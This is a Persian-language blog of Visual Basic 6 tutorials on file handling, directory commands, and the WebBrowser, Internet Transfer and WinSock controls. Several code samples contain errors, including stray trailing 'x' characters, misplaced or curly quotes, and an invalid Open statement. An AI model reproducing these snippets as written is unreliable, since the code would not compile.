تبليغاتX
آموزش کامپیوتر و برنامه نویسی
این وبلاگ جهت آموزش کامپیوتر و برنامه نویسی ایجاد شده است.

به نام خدا

 

مقدمه

بعلت عدم وجود اشاره گر در ويژوال بيسيک عمليات کار با فايلها در آن نسبتاً ساده می باشد .
بطور کلی فايلها بر دو نوع هستند :
1 - فايلهای متنی Text File : اين فايلها فقط شامل کاراکترهای اسکی و برخی کاراکترهای خاص مانند انتهای خط و انتهای فايل هستند .
۲ - فايلهای باينری Binary File : شامل هر نوع کاراکتری می توانند باشند و کاربردهای گسترده ای دارند مانند بانک های اطلاعاتی ، فايلهای اجرائی ، فايلهای گرافيکی و غيره
ويژوال بيسيک می تواند با هر دو نوع فايل کار کند .

چگونگی باز کردن فايلها

قبل از اينکه بتوان عمليات ورودی/خروجی را روی يک فايل انجام داد ابتدا بايستی آنرا باز کرد . باز کردن فايلها در ويژوال بيسيک توسط دستور Open انجام می شود . فرمت کلی اين دستور بصورت زير است :

Open filename [For mode] [Access access][lock] As [#]filenumber [Len=reclen]x


[ پارامترهای داخل کروشه اختياری هستند . ]
filename نام فايلی است که می خواهيم آنرا باز کنيم .
mode حالت باز کردن فايل است . اين حالتها عبارتند از :
- Input : فايل بعنوان ورودی باز می شود .
- Output : فايل بعنوان خروجی باز می شود .
- Binary : فايل از نوع باينری باز می شود .
- Append : فايل طوری باز می شود که بتوان به انتهای آن چيزی اضافه کرد .
- Random
access نوع دسترسی به فايل را مشخص می کند . انواع دسترسيها عبارتند از :
- Read : خواندن فايل
- Write : نوشتن در فايل
- ReadWrite : خواندن و نوشتن فايل
lock نوع دسترسی ساير برنامه ها به اين فايل را مشخص می کند . انواع دسترسيها عبارتند از :
- Shared : دسترسی اشتراکی
- Lock Read
- Lock Write
- Lock Read Write
filenumber عددی است که ويژوال بيسيک از آن برای دسترسی به فايل استفاده می کند .اين عدد بايستی برای هر فايل منحصر بفرد و بين ۱ تا ۵۱۱ باشد . برای بدست آوردن اولين شماره آزاد می توان از تابع FreeFile استفاده کرد .
reclen :طول بافر فايل است . اين عدد بايستی از ۳۲۷۶۷ کو چکتر باشد .

در صورتی که فايلی که توسط filename مشخص شده وجود نداشته و فايل برای Append ، Binary ، Output و يا Random باز شده باشد در اينصورت يک فايل جديد با اين نام ساخته می شود .
در صورتی که فايل بصورت باينری باز شده باشد پارامتر Len ناديده گرفته می شود .

چگونگی بستن فايل

پس از پايان کار با فايل برای بستن آن از دستور Close استفاده می کنيم . فرمت اين دستور بصورت زير است :

Close #filenumber


دستور Close بدون هيچ پارامتری تمام فايلهای باز را می بندد .

کار با دايرکتوری

۱ - گرفتن Dir : توسط دستور Dir می توان نام فايلهای موجود در يک دايرکتوری را بر اساس پارامترهايي که به آن می دهيم پيدا کنيم . برای مثال :

Myfile=Dir$("c:\text\*.txt)"


دستور فوق نام اولين فايل موجود در دايرکتوری C:\TEXT را که پسوند آنها txt باشد در متغير Myfile قرار می دهد . اگر دستور فوق را بدون پارامتر مجدداً اجرا کنيم نام دومين فايل برگرداننده می شد و الی آخر
Dir دارای يک پارامتر اختياری است که نوع فايلهای مورد نظر را نيز می توان با آن مشخص نمود . مثال :

Myfile=Dir$("c:\text\*.txt",vbNormal)


مقادير ممکن اين پارامتر عبارتند از :
vbNormal ، vbHidden ، vbSystem ، vbDirectory
۲ - تغيير دايرکتوری : برای تغيير دايرکتوری از دستور ChDir استفاده می شود مثال :

ChDir "c:\windows\system32"


۳ - تغيير درايو : برای تغيير درايو از دستور ChDrive استفاده می شود مثال :

ChDrive "E:"


۴ - ساخت دايرکتوری : برای ايجاد دايرکتوری جديد از دستور MKDir استفاده می شود مثال :

MKDir "c:\MyFolder"


۵ - حذف دايرکتوری : برای حذف دايرکتوری از دستور RmDir استفاده می شود مثال :

RmDir "C:\MyFoler"

--------

خواندن از فايل :

1 - دستور Input : توسط دستورهای Input و Line Input می توان محتوای فايلهای متنی و باينری را خواند .
دستور Input به دو صورت بکار می رود :
Input #Filenumber,ReadData
ReadData=Input(Charnum,Filenumber)x
دستور اول کل يک فايل را خوانده و در متغير ReadData قرار می دهد . دستور دوم ، تعداد Charnum بايت از فايلی با شماره Filenumber را خوانده و در متغير ReadData قرار می دهد .
اين دو دستور تمام کاراکترهای موجود در فايل را می خوانند . برای اينکه بتوان فايل را خط به خط خواند ، از دستور Line Input استفاده کنيد :
Line Input #Filenumber,ReadData
البته از دستور Line Input بيشتر برای خواندن فايلهای متنی استفاده می شود زيرا ممکنست در فايل باينری هيچ کاراکتر انتهای خط ( CRLF ) وجود نداشته باشد و يکباره کل فايل خوانده شود .

۲ - دستور Get : از اين دستور برای خواندن فايلهای باينری با دسترسی تصادفی ( Random Access ) استفاده میشود :
Get #Filenumber,[Recordnum%],ReadData
اين دستور رکورد شماره Recordnum را از فايلی با شماره Filenumber می خواند و در متغير ReadData قرار می دهد . علامت کروشه نشان می دهد که پارامتر Recordnum اختياری است و در صورتيکه ذکر نشود داده ها از رکورد بعدی فايل ( جائيکه اشاره گر فايل آنجا قرار دارد ) خوانده می شوند .

نوشتن در فايل :

۱ - دستور Print : توسط اين دستور می توان اطلاعاتی را در فايل قرار داد :
Print #FileNumber,WriteData
دستور فوق محتويات متغير WriteData را در فايلی با شماره FileNumber می نويسد . بوسيله دستور Print می توان اطلاعات را بصورت خط به خط در فايل نوشت برای مثال :
Print #1,"Hello Visual Basic"+Vbcrlf
عبارت Vbcrlf نشان دهنده کاراکتر انتهای خط ( CRLF ) در ويژوال بيسيک می باشد .

۲ - دستور Put : اين دستور برای نوشتن داده ها در فايلهای باينری با دسترسی تصادفی بکار می رود :
Put #FileNumber,[Recordnum],WriteData
اين دستور محتويات متغير WriteData را در رکورد شماره Recordnum قرار می دهد .

تعيين محل رکورد در فايلهای با دسترسی تصادفی :

برای منتقل کردن اشاره گر فايل به يک رکورد در يک فايل باينری با دسترسی اتفاقی ، از دستور Seek استفاده می شود . اين دستور محل يک بايت را در فايل می گيرد و اشاره گر فايل را در آنجا قرار می دهد بنابراين دستورات Put و Get می توانند با اين رکورد کار کنند :
Seek #FileNumber,RecordNumber

تشخيص انتهای فايل :

برای اينکه متوجه شويم به انتهای يک فايل رسيده ايم از دستور EOF استفاده می کنيم . اين دستور يکی از مقادير True يا False را بر می گرداند که نشان می دهد به انتهای فايلرسيده ايم يا نه . از اين تابع در حلقه های Do-While استفاده می شود :
Do While Not (EOF(FileNumer))x
.
.
.
Loop
حلقه فوق تا زمانيکه فايل موردنظر به انتها نرسيده باشد اجرا خواهد شد .

بدست آوردن طول يک فايل :

بوسيله دستور LOF می توان طول محتويات يک فايل را بدست آورد :
FileSize=LOF(FileNumber)x

بدست آوردن محل اشاره گر فايل :

توسط دستور Loc می توان محل جاری اشاره گر فايل را بدست آورد . اجرا شدن اين دستور محل اشاره گر را تغيير نمی دهد :
FilePosition=Loc(FileNumber)x
--------

ساير عمليات کار با فايل :

۱ - حذف فايل : برای حذف يک يا چند فايل از دستور Kill استفاده می شود :
Kill "C:\Temp\MyFile.txt"x
Kill "C:\Temp\*.txt"x

۲ - انتقال فايل : برای انتقال يک فايل از يک دايرکتوری به دايرکتوری ديگر از دستور Name استفاده می شود . مبدا و مقصد بايستی روی يک درايو باشند . اگر دايرکتوری مبدا و مقصد يکی باشد فايل تغيير نام داده می شود :
Name "C:\Temp\File1.txt" To "C:\Temp2\File2.txt"x

۳ - کپی کردن فايل : برای کپی کردن يک فايل از يک دايرکتوری به دايرکتوری ديگر از دستور FileCopy استفاده می شود :
FileCopy "\File1.txt\ To "C:\Temp\File2.txt"x

۴ - بدست آوردن تاريخ و زمان آخرين تغيير فايل و يا زمان ايجاد فايل : برای اين کار از دستور FileDateTime استفاده می شود . ابتدا بايستی يک متغير از نوع Variant تعريف کرده و سپس توسط اين دستور تاريخ و زمان موردنظر را استخراج کنيم :
Dim FileInfo As Variant
FileInfo=FileDateTime("C:\Temp\MyFile.txt")x

۵ - استخراج طول فايل : برای بدست آوردن طول يک فايل بر حسب بايت از دستور FileLen استفاده می شود :
FileSize=FileLen("C:\MyFile.txt")x

۶ - تغيير صفت يک فايل : برای تغيير صفت يک فايل از دستور SetAttr استفاده می شود . پارامترهای اين دستور عبارتند از :
0 : فايل معمولی
2 : فايل مخفی
4 : فايل سيستمی

SetAttr FileNumber,FileAttrib

مقابله با خطاهای کار با فايل :

در زمان کار با فايلهای احتمال زيادی وجود دارد که خطا بوجود آيد . بنابراين بايستی در زمان کار با فايلها در صورت ممکن از روتينهای مقابله با خطا استفاده کنيم . شايع ترين خطاهای کار با فايل عبارتند از :

۵۲ : شماره يا نام فايل صحيح نيست
۵۳ : فايل پيدا نشد
۵۴ : حالت فايل صحيح نيست
۵۵ : فايل قبلاً باز شده
۵۸ : فايل از قبل وجود دارد
۵۹ : طول رکورد صحيح نيست
۶۱ : ديسک پر است
۶۲ : عبور از انتهای فايل
۶۳ : شماره رکورد صحيح نيست
۷۰ : دسترسی ممنوع است
۷۱ : ديسک آماده نيست
۷۶ : مسير پيدا نشد

در هنگام مقابله با خطا بهتراست از يک ساختار Select-Case استفاده کنيد :


Select Case Err
Case 71
MsgBox "Drive is Not Ready"x
.
.
.
End Select

+ نوشته شده در  یکشنبه یکم اردیبهشت 1387ساعت 7:11 بعد از ظهر  توسط مسعود لپه چی  | 

به نام خدا

 

برنامه Internet Explorer يا iexplore.exe در واقع برنامه کوچکي است که وظيفه اصلي آن ايجاد چارچوبي براي بهم پيوستن عناصر مختلف است و اين عناصر هستند که وظايف اصلي مثل load کردن صفحات وب ، اجراي کدهاي Html و غيره را انجام مي دهند . اصلي ترين عنصري که مستقيماً توسط iexplore.exe استفاده مي شود کنترل Webbrowser ( موجود در فايل shdocrw.dll ) مي باشد . وظيفه اين فايل dll ، عبارت است از حرکت بين صفحات وب ، مديريت تاريخچه صفحات ديده شده و غيره . اين فايل خود از فايل ديگري بنام Mshtml.dll استفاده مي کند که وظيفه آن بررسي و اجراي فايلهاي html است . مايکروسافت به برنامه نويسان اين امکان را داده که بتوانند در برنامه هايشان از کنترل webbrowser استفاده کنند . با استفاده از اين کنترل مي توان به سادگي يک مرورگر وب تقريباً کامل ساخت .

خصوصيات کنترل Webbrowser :
Webbrowser علاوه بر خواص استانداردي مثل width ، height و … خواص زير را دارد :
1 – Busy : اگر در حال load کردن يک صفحه يا در حال جستجو در وب باشد اين خاصيت True است . توسط متد Stop مي توان عمليات جاري را متوقف کرد .
2 – Container : ارجاع به شي نگهدارنده کنترل webbrowser
3 – Document : ارجاع به صفحه html فعلي . براي کار با اين صفحه html مي توان از خواص و متدهابي شي Document استفاده کرد .
4 – LocationName : حاوي آدرس محلي است که اکنون در کنترل webbrowser ، load شده است . اگر اين محل يک صفحه html باشد عنوان آن صفحه خواهد بود و اگر اين محل يک فايل در شبکه باشد مسير کامل آن فايل خواهد بود .
5 – LocationURL : حاوي url محلي است که فعلاً در کنترل webbrowser ، load شده است .
6 – Offline : اگر کنترل webbrowser در حالت عدم اتصال باشد مقدار آن True و در غيراينصورت False است .
7 – Parent : فرمي را نشان مي دهد که کنترل webbrowser در آن قرار دارد .
8 – ReadyState : وضعيت کنترل webbrowser را برمي گرداند .

متدهاي کنترل webbrowser : اين متدها مربوط به مرور در صفحات وب هستند :
1- GoBack : در ليست تاريخچه url ها ، يکي به عقب برمي گردد .
2 – GoForward : در ليست تاريخچه url ها ، يکي به جلو مي رود .
3 – GoHome : به homepage مرورگر مي رود .
4 – Navigate : به يک url يا فايل مي رود . ساختار اين متد بصورت زير است :

Navigate URL [Flags,][TargetFrameName,][PostData,][Headers]x

URL آدرس مقصد مي باشد . Flags نحوه باز شدن آدرس مقصد را تعيين مي کند . اگر اين پارامتر ذکر نشود آدرس جديد در پنجره فعلي باز خواهد شد و به ليست تاريخچه اضافه شده و اگر کپي آن در temperory cache موجود باشد از آنجا خوانده مي شود . مقادير پارامتر Flags عبارتند از :
- NavOpenInNewWindow : آدرس جديد را در پنجره جديدي باز مي کند .
- NavNoHistory : به ليست تاريخچه اضافه نمي شود بلکه جايگزين صفحه فعلي مي شود .
- NavNoReadFromCache : صفحه جديد از cache خوانده نمي شود .
- NavNoWriteToCache : صفحه جديد روي cache نوشته نمي شود

Event هاي کنترل webbrowser : اين event ها مربوط به مرور در وب و تغيير حالت آن هستند :
1 – CommandStateChange : براي فعال يا غيرفعال کردن دکمه هاي Forward و Back در مرورگر استفاده مي شود . شکل کلي فراخواني اين event بصورت زير است :

Private Sub WebBrowser1_CommandStateChange(ByVal Command As Long, ByVal Enable As Boolean)


که command فرماني است که حالت فعال آن تغيير کرده است و دو مقدار مي گيرد : 1 و 3 که بترتيب معادل فرمانهاي GoForward و GoBack هستند .
Enable فعال يا غيرفعال بودن فرمان را تعيين مي کند .
2 – DocumentComplete : اين event زماني فعال مي شود که صفحه در حال load شدن به حالت ReadyState_Complete برود . شکل کلي فراخواني اين event بصورت زير است :
Private Sub WebBrowser1_DocumentComplete(ByVal pDisp As Object, URL As Variant)
که pDisp ارجاعي به کنترل webbrowser است که event در آن رخ داده است و URL آدرس صفحه در حال load شدن است .
3 – DownloadBegin : اين event در آغاز حرکت به صفحه جديد روي مي دهد و هيچ پارامتري نمي گيرد . مرورگر مي تواند در اين event پيغامي براي شروع عمليات جديد نشان مي دهد .
4 – DownloadComplete : اين event در پايان عمليات يا در صورت انصراف کاربر يا بروز خطا روي مي دهد .
5 – ProgressChange : با بروز هر تغييري در وضعيت load ، اين event روي مي دهد . شکل کلي فراخواني آن بصورت زير است :

Private Sub WebBrowser1_ProgressChange(ByVal Progress As Long, ByVal ProgressMax As Long)


که Progress نشان دهنده پيشرفت عمليات ( بايتهاي load شده ) است . پارامتر ProgressMax تعداد کل بايتهايي که بايد load شوند را نشان مي دهد بنابر اين :

(Progress/ProgressMax)*100=درصد پيشرفت عمليات load


يک مثال ساده :
از منوي project مورد components را انتخاب کنيد و از ليست کنترلها ، Microsoft Internet Controls را به toolbar خود اضافه کنيد . يک کنترل WebBrowser روي فرم قرار دهيد و سايز آنرا به اندازه ابعاد فرم خود قرار دهيد . يک textbox و يک دکمه روي فرم قرار دهيد . کد زير را براي event مربوط به کليک دکمه بنويسيد :

WebBrowser.Navigate textbox.text

+ نوشته شده در  یکشنبه یکم اردیبهشت 1387ساعت 7:9 بعد از ظهر  توسط مسعود لپه چی  | 

به نام خدا

 

مقدمه : کنترل Internet Transfer نسبت به کنترل WebBrowser که در روزهاي قبلي معرفي شد در سطح پايينتري قرار دارد . اين کنترل با استفاده از دو پروتکل HTTP و FTP مي تواند داده ها را منتقل کند . اين کنترل زمانيکه از پروتکل HTTP استفاده مي کند با همان روش کنترل WebBrowser به سرويس دهنده صفحات وب متصل مي شود اما بجاي آنکه صفحه وب را نمايش دهد متن Html صفحه را بازيابي مي کند . همچنين زمانيکه اين کنترل از پروتکل FTP استفاده مي کند قادرست فايلها را بين کامپيوترهاي روي شبکه منتقل سازد .
اتصالات HTTP : همانطور که مي دانيد ، پروتکل HTTP استاندارد وب مي باشد . صفحات وب با زبان Html نوشته مي شوند و انتقال آنها از server به client توسط پروتکل HTTP صورت مي گيرد .
متد OpenURL : ساده ترين راه استفاده از کنترل IT متد OpenURL است . شکل کلي اين متد بصورت زير است :

Inet.OpenURL(url,DataType)x

که url آدرس صفحه وب و DataType نوع داده بازيابي شونده است و دو مقدار icString ( داده متني ) يا icByteArray ( داده باينري ) را مي گيرد . مقدار بازگشتي اين متد ، داده هاي منتقل شده است .
اين متد بصورت سنکرون کار مي کند يعني در تمام مدت کار آن برنامه نمي تواند کار ديگري انجام دهد . اگر از icByteArray استفاده کنيد بايد مقدار بازگشتي آنرا در يک ارايه بايت قرار دهيد .
مثال 1 : از بخش Component در منوي Project مورد Microsoft Internet Transfer Control 6.0 را به toolbar خود اضافه کنيد . سپس يک کنترل IT روي فرم قرار دهيد و همچنين يک Rich Textbox و يک دکمه روي فرم قرار دهيد و کد زير را براي event مربوط به کليک دکمه بنويسيد :

TextBox.text=Inet.OpenURL(“www.microsoft.com”,icString)x

مثال 2 : کد زير داده هاي باينري را از اينترنت خوانده و آنها را در يک فايل ذخيره مي کند :

Dim b() as byte
B()=Inet.OpenURL(ftp://ftp.microsoft.com/test.zip,icByteArray)x
Open App.path & “\test.zip” For Access Write As #1
Put #1,b()x
Close #1


رويداد StateChanged : کنترل IT فقط يک event دارد که StateChanged مي باشد . اين event زماني روي مي دهد که State کنترل تغيير کند . State هر اتفاقي است که برنامه بايد از آن مطلع شود . تعريف کلي اين event بصورت زير است :

Inet_StateChanged(ByVal NewState As Integer)x

که NewState مقداري است که حالت جديد را بيان مي کند . مقادير ممکن اين پارامتر عبارتند از :
icNone : حالت تغيير نکرده است .
icResolvingHost : در حال جستجوي آدرس IP کامپيوتر موردنظر .
icHostResolved : آدرس IP کامپيوتر موردنظر يافت شد .
icConnecting : در حال اتصال به کامپيوتر مقصد
icConnected : اتصال به کامپيوتر مقصد برقرار شد .
icRequesting : در حال ارسال درخواست به کامپيوتر مقصد
icRequestSent : درخواست به کامپيوتر مقصد ارسال شد .
icReceivingResponse : در حال دريافت پاسخ از کامپوتر مقصد .
icResponseReceived : پاسخ کامپيوتر مقصد دريافت شد .
icDisconnecting : در حال قطع اتصال با کامپيوتر مقصد .
icDisconnected : اتصال مقصد با موفقيت قطع شد .
icError : در ارتباط با کامپيوتر مقصد خطايي رخ داده است .
icResponseCompleted : تکميل پاسخ – تمام داده ها دريافت شد .
تشخيص خطا در عمليات انتقال داده اهميت بالايي دارد و StateChanged در صورت بروز هر خطايي مقدار icError را برمي گرداند و اطلاعات خطا را در دو خاصيت ResponseCode و ResponseInfo برمي گرداند .
انتقال داده بصورت آسنکرون : کنترل IT متدهاي انعطاف پذير ديگري هم دارد که آسنکرون هستند و اجازه مي دهند تا همزمان با عمليات انتقال داده ، برنامه به وظايف ديگري هم بپردازد . اين متدها با استفاده از Event Driven Model کار مي کنند . بدين معني که وقتي برنامه درخواست انتقال داده اي را مي دهد کنترل IT درخواست را در زمينه برنامه انجام مي دهد و برنامه ازاد است تا به کارهاي ديگرش بپردازد . زمانيکه داده ها بازيابي شود ، داده ها را از بافر داخلي کنترل IT مي خواند .
متد GetChunk : در عمليات انتقال آسنکرون ، بايستي داده را توسط اين متد از بافر داخلي کنترل IT بگيريم :

Inet.GetChunk(datasize[,datatype])x

که پارامتر datasize از نوع long بوده و تعيين مي کند چند بايت از بافر خوانده شود و پارامتر اختياري datatype نوع داده را مشخص مي کند و مي تواند مقادير icString و icByteArray را بگيرد .
زمانيکه StateChanged وارد حالتهاي icResponseReceived و يا icResponseCompleted شد بايد از GetChunk استفاده کنيد . بدين صورت که از يک حلقه استفاده مي کنيم تا کل بافر را بخوانيم :

Private Sub Inet_StateChanged(Byval State as Integer)x
Dim temp1,temp2
Select Case State
Case icResponseCompleted
temp1=””x
temp2=””x
Do
temp1=Inet.GetChunk(512,icString)x
temp2=temp2 & temp1
Loop Until temp1=””x
End Select
End Sub

براي بالابردن کارايي ، بهتر است از قطعات کوچک ( بين 512 تا 1024 بايتي ) استفاده کنيد .
متد Execute : و اما انعطاف پذيرترين متد کنترل IT ، متد Execute است . فرمت کلي اين متد بصورت زير است :

Inet.Execute(url,Command,Data,RequestHeaders)x

که url آدرس مقصد ، Command فرماني است که به کامپيوتر مقصد داده مي شود و Data و RequestHeaders اطلاعات اضافي لازم براي اجراي فرمان داده شده است . فرمانهاي Command همان فرمانهاي HTTP هستند که عبارتند از :
- GET : دريافت داده ها از کامپيوتر مقصد
- HEAD : دريافت اطلاعات header از کامپيوتر مقصد
- POST : ارسال اطلاعات لازم براي تکميل درخواست
- PUT : ارسال فايل براي کامپيوتر ميزبان ( upload )
فرمان GET پرکاربردترين فرمان متد Execute است و داده هاي خوانده شده را در بافر داخلي بافر کنترل IT قرار مي دهد تا بتوان با متد GetChunk آنها را بازيابي نمود .
مثال :

Inet.Execute http://www.microsoft.com,”GET”x

ساير خواص کنترلIT :
- AccessType : نوع دسترسي کنترل IT به اينترنت را مشخص مي کند و سه مقدار مي تواند بگيرد :
icUseDefault : استفاده از تنظيمات رجيستري براي دسترسي به اينترنت
icDirect : اتصال مستقيم کنترل IT به اينترنت
icNamedProxy : اتصال به اينترنت توسط پروکسي
- Document : نام صفحه پيش فرض که در متد Execute از آن استفاده مي شود . اگر به متد Execute پارامتر url را ندهيد از اين صفحه پيش فرض استفاده مي کند .
- Password : کلمه رمز عبور کامپيوتر ميزبان FTP
- Procotol : نوع پروتکل مورد استفاده در متد Execute را مشخص مي کند و 5 مقدار مي تواند بگيرد :
icUnknown : نامعلوم
icDefault : پروتکل پيش فرض
icFTP : پروتکل FTP
icHTTP : پروتکل HTTP
icHTTP : پروتکل حفاظت شده HTTP
- Proxy : نام ميزبان پروکسي
- RequestTimeOut : مدت زماني که کنترل IT صبر مي کند تا اطلاعات را دريافت کند . اگر اين خاصيت صفر باشد کنترل تا هر زمان که لازم باشد براي دريافت پاسخ صبر مي کند . در حالت سنکرون ( متد OpenURL ) بعد از سپري شدن اين مدت زمان ، يک خطا توليد مي شود و در حالت آسنکرون ( متد Execute ) رويداد StateChanged مقدار خطا را بر مي گرداند
- ResponseCode : بعد از بروز حالت icError اين خاصيت کد خطا را مي دهد .
- ResponseInfo : توضيحي درباره خطا
- StillExecuting : اگر True باشد يعني کنترل مشغول انجام کار است .
- URL : آدرس مقصد در متدهاي OpenURL و يا Execute
- UserName : نام کاربر براي ورود به کامپيوتر ميزبان FTP
اتصالات FTP

پروتکل FTP علاوه بر نقل و انتقال فايل بين دو کامپيوتر ، مي تواند نوعي مديريت فايل ( مثل حذف فايل يا ايجاد پوشه ) روي کامپيوتر مقصد را انجام دهد . FTP در انتقال فايل بسيار قويتر از HTTP است ولي به مراتب پيچيده تر از HTTP مي باشد اما کنترل IT اين پيچيدگيها را از ديد برنامه نويس مخفي کرده است .
براي کار با سرورهاي FTP بايد به آنها Login نمود . نوع خاصي از Login به نام Anonymous Login ( ورود ناشناس ) وجود دارد که با آن کاربران مي توانند بدون محدوديت از سايت FTP استفاده کنند . توجه کنيد که حتي براي ورود ناشناس هم نياز به نام کاربر و کلمه عبور است . براي ارسال نام کاربر و کلمه عبور از خواص username و password کنترل IT استفاده مي شود . اگر خاصيت username خالي باشد ( blank ) ، کنترل IT بطور خودکار از anonymous استفاده مي کند و آدرس email کاربر بعنوان passowrd استفاده مي شود .
استفاده از متد OpenURL : متد OpenURL ساده ترين راه انجام عمليات FTP است . دستور زير از يک سايت FTP ليست مي گيرد :


Text.text=Inet.OpenURL("ftp://ftp.microsoft.com",icString)x

براي خواندن فايل از يک سايت FTP بايد در حالت باينري کار کرد :

b()=Inet.OpenURL("ftp://ftp.microsft.com/test.zip",icByteArray)x


استفاده از متد Execute : متد Execute قابليتهاي بيشتري دارد و اجرای آن در FTP نياز به دو پارامتر دارد :

Inet.Execute(url,operation)x


که url آدرس سايت FTP بهمراه نام و مسير فايل و پارامتر operation يک فرمان FTP است . کنترل IT با داده هاي خوانده شده FTP به دو طريق رفتار مي کند :
برخي از داده ها مثل پاسخ فرمان DIR در بافر کنترل IT قرار مي گيرد و بايد آنها را با متد GetChunk خواند .
برخي ديگر از داده ها مثل فايل خوانده شده با فرمان GET مستقيماً روي ديسک نوشته مي شوند و ديگر نيازي به استفاده از متد GetChunk نيست .
فرامين FTP بسيار قوي هستند و حتي به شما اين امکان را مي دهند که فايلها را به روي کامپيوتر مقصد کپي کنيد ، به پوشه هاي کامپيوتر مقصد برويد ، فايلها را حذف کنيد و يا تغيير نام دهيد . البته بايد توجه داشت که فرامين قابل اجرا به نوع ورود به سيستم FTP بستگي دارد . اگر با کاربر anonymous به يک سايت FTP وارد شويد تنها مي تواند فايلها را ببيند و آنها را download کنيد .
مهمترين فرامين FTP عبارتند از :
CD path : به دايرکتوري path مي رويد .
CDUP : به يک دايرکتوري بالاتر مي رود .
CLOSE : بستن اتصال FTP
DELETE file1 : حذف فايل file1
DIR file1 : جستجوي فايل file1 روي دايرکتوري جاري
MKDIR path : ايجاد يک دايرکتوري با نام path
PUT file1 file2 : فايل file1 را از کامپيوتر مبدا روي فايل file2 در کامپيوتر مقصد کپي مي کند .
PWD : نام دايرکتوري جاري در کامپيوتر مقصد را برمي گرداند .
QUIT : قطع اتصال FTP
GET file1 file2 : فايل file1 را از کامپيوتر مقصد روي فايل file2 در کامپيوتر مبدا کپي مي کند .
RENAME file1 file2 : تغيير نام فايل file1 به file2
RMDIR path : حذف دايرکتوري path در کامپيوتر مقصد
SIZE file1 : بدست آوردن تعداد بايتهاي فايل يا دايرکتوري file1

+ نوشته شده در  یکشنبه یکم اردیبهشت 1387ساعت 7:6 بعد از ظهر  توسط مسعود لپه چی  | 

به نام خدا

 سلام !!!

 

مقدمه :
کنترل WinSock نسبت به تمام کنترلهاي اينترنت در سطح پايينتري قرار دارد . اين کنترل امکان ايجاد سرويسهاي شبکه اي مبتني بر پروتکلهاي TCP و UDP را مهيا مي کند . بعبارت ديگر توسط اين کنترل مي توان برنامه هاي کاربردي Client/Server ( سرويس گيرنده / سرويس دهنده ) ايجاد و با استفاده از پروتکل TCP و يا UDP بين آنها ارتباط برقرار نمود .
با تنظيم خصوصيات و فراخواني متدهاي اين کنترل مي توانيد به راحتي به يک کامپيوتر راه دور متصل شويد و داده ها را در هر دو جهت جابجا نمائيد . نمونه کاربرهايي که مي توان با اين کنترل ايجاد نمود :
Client-server chat ، Mail client ، Mail server ، Proxy Server ، Network Game ، Port Scanner ، پياده سازي الگوريتم هاي موازي و …
مباني TCP :
پروتکل کنترل اينترنت ( Transfer Control Protocol ) اجازه مي دهد يک اتصال ( Connection ) را از طريق سوکت ( socket ) به يک کامپيوتر راه دور ( Remote Computer ) ساخته و استفاده کنيد . با استفاده از اين اتصال ، هر دو کامپيوتر مي توانند داده ها را بين خودشان انتقال دهند . برقراري ارتباط از طريق TCP همانند صحبت کردن با تلفن است که بايد حتماً اتصالي بين دو کامپيوتر صورت گيرد تا بتوانند با هم ارتباط برقرار کنند .
اگر يک برنامه Client مي سازيد بايستي بدانيد که نام يا آدرس IP کامپيوتر Server چيست ( Remote Host IP ) و همچنين از طريق چه پورتي مي توانيد به آن متصل شويد ( Remote Port ) . حال بايستي به آن پورت Connect کنيد .
همچنين اگر يک برنامه Server مي سازيد بايستي پورتي را که روي آن به درخواستها گوش مي دهيد مشخص کنيد ( LocalPort ) و سپس به پورت گوش دهيد ( Listen ) .
زمانيکه يک کامپيوتر Client تقاضاي يک اتصال را مي دهد Server اين درخواست را Accept مي کند .
زمانيکه يک اتصال ساخته مي شود ، هر دو کامپيوتر مي توانند داده را فرستاده و دريافت کنند .
مباني UDP :
پروتکل ديتاگرام کاربر ( User Datagram Protocol ) پروتکلي بدون اتصال ( Connectionless ) است . برخلاف TCP ، کامپيوترها نياز به برپا کردن يک اتصال ندارند بنابراين يک برنامه مي تواند يک client و يا يک server باشد . برقراري ارتباط در UDP شبيه ارسال نامه از طريق پست است .
براي انتقال داده توسط UDP ابتدا بايد Local Port کامپيوتر Client تنظيم گردد . کامپيوتر Server تنها بايستي RemoteHost را برابر آدرس کامپيوتر Client قرار دهد و همچنين Remote Port را همان Local Port کامپيوتر Client قرار دهد . سپس دو کامپيوتر مي توانند داده ها را بين خود جابجا کنند .
استفاده از کنترل WinSock :
1 – انتخاب پروتکل: در زمان استفاده از کنترل WinSock اولين کاري که بايد انجام دهيد انتخاب يکي از پروتکلهاي TCP يا UDP است . طبيعت برنامه اي که شما مي سازيد نوع پروتکلي را که بايد استفاده کنيد مشخص مي کند . چند سوال زير به شما کمک مي کند که پروتکل مورد نيازتان را انتخاب کنيد :
- آيا برنامه شما در زمانيکه داده فرستاده مي شود يا دريافت مي شود نياز به اطلاعاتي از طرف Server يا Client دارد ؟ اگر چنين است بايستي يک اتصال TCP قبل از ارسال يا دريافت داده ايجاد شود .
- آيا داده بسيار بزرگ است ( مثل تصوير يا فايلهاي صوتي ) ؟ زمانيکه يک اتصال TCP ساخته مي شود پروتکل TCP اتصال را باقي نگه مي دارد و درستي ارسال داده تضمين شده است . اين اتصال در هر حال به منابع محاسباتي بيشتري نياز دارد و بنابراين پرهزينه تر است .
- آيا داده متناوب ارسال مي شود يا در يک نشست ( Session ) ارسال خواهد شد ؟ براي مثال اگر شما يک برنامه مي سازيد که کامپترهاي مشخصي را در يک زمان خاص از انجام شدن عملياتي مطلع مي کند پروتکل UDP مناسب تر است . پروتکل UDP همچنين براي ارسال مقادير کوچک داده اي مناست تر مي باشد .
2 – تنظيم پروتکل : براي تنظيم پروتکلي که مي خواهيد در برنامه تان از آن استفاده کنيد در زمان طراحي برنامه خاصيت Protocol کنترل WinSock را برابر sckTCPProtocol و يا sckUDPProtocol قرار دهيد . همچنين مي توانيد پروتکل خود را توسط کد زير تنظيم کنيد :

WinSock.Protocol=sckTCPProtocol

3 – مشخص کردن نام کامپيوتان : براي اتصال به کامپيوتر راه دور بايستي آدرس IP و يا نام کامپوتر را بدانيد .
نام کامپيوتر در Control Panel/Network/Identification موجود است . در صورتيکه مي خواهيد دو برنامه Client و Server خود را روي يک کامپيوتر تست کنيد از آدرس IP 127.0.0.1 براي هر دو استفاده کنيد اما اگر دو برنامه را روي دو کامپيوتر مجزا در شبکه قرار داده ايد با اجراي دستور ipconfig در DOS Prompt مي توانيد آدرس IP کامپيوتر ها را بدست آوريد .
